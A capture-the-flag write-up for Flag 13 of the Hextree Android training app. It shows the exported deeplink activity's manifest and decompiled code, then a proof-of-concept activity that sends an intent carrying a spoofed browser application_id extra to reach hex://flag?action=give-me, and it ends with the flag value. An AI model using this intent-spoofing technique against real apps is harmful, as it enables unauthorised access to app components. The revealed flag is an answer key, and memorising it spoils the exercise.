Static Analysis
AndroidManifest.xml
Upon inspecting the Flag13Activity in the AndroidManifest.xml file we see the following
<activity
android:name="io.hextree.attacksurface.activities.Flag13Activity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="hex"/>
<data android:host="open"/>
<data android:host="flag"/>
</intent-filter>
</activity>We can see from the manifest this activity is a bit unique it has the BROWSABLE filter which means we can access this intent from a link, it uses hex as a scheme and has two hosts open and flag so in summary we can access it using hex://open or hex://flag
Flag13Activity Class
public class Flag13Activity extends AppCompactActivity {
public Flag13Activity() {
this.name = "Flag 13 - Create a hex://open/ link";
this.tag = "Deeplink";
this.tagColor = R.color.pink;
this.flag = "M6g6tRLo6pkUO4KR2Wer18bhc8UuT+IM2y9bdRICcdo/u6y9bdnmEp7f8LLuKw+1";
}
private boolean isDeeplink(Intent intent) {
String action;
return (intent == null || (action = intent.getAction()) == null || !action.equals("android.intent.action.VIEW") || !intent.getCategories().contains("android.intent.category.BROWSABLE") || intent.getStringExtra("com.android.browser.application_id") == null) ? false : true;
}
@Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
this.f = new LogHelper(this);
Intent intent = getIntent();
if (intent == null) {
finish();
}
if (isDeeplink(intent)) {
Uri data = intent.getData();
if (data.getHost().equals("flag") && data.getQueryParameter("action").equals("give-me")) {
this.f.addTag(data.getQueryParameter("action"));
success(this);
return;
} else {
if (!data.getHost().equals("open") || data.getQueryParameter("message") == null) {
return;
}
Toast.makeText(this, "Website: " + data.getQueryParameter("message"), 1).show();
return;
}
}
Intent intent2 = new Intent("android.intent.action.VIEW");
intent2.setData(Uri.parse("https://ht-api-mocks-lcfc4kr5oa-uc.a.run.app/android-link-builder?href=hex://open?message=Hello+World"));
startActivity(intent2);
}
}Upon reviewing the code we notice that in order to get the flag we need to send a request to the activity with the host name flag and a query parameter action with its value set to give-me, pretty simple so let’s start making the poc
Creating POC
Flag13.java
public class Flag13 extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_flag13);
getSupportActionBar().setTitle("Flag 13");
Button button = findViewById(R.id.button_flag13);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Log.v("Tensai-POC", "Going to flag 13 activity");
Intent intent = new Intent();
intent.setComponent(new ComponentName("io.hextree.attacksurface",
"io.hextree.attacksurface.activities.Flag13Activity"));
intent.setAction("android.intent.action.VIEW");
intent.addCategory("android.intent.category.BROWSABLE");
intent.putExtra("com.android.browser.application_id", "Tensai POC");
intent.setData(Uri.parse("hex://flag?action=give-me"));
startActivity(intent);
}
});
}
}Flag
HXT{browser-link-or-app2app-s82h}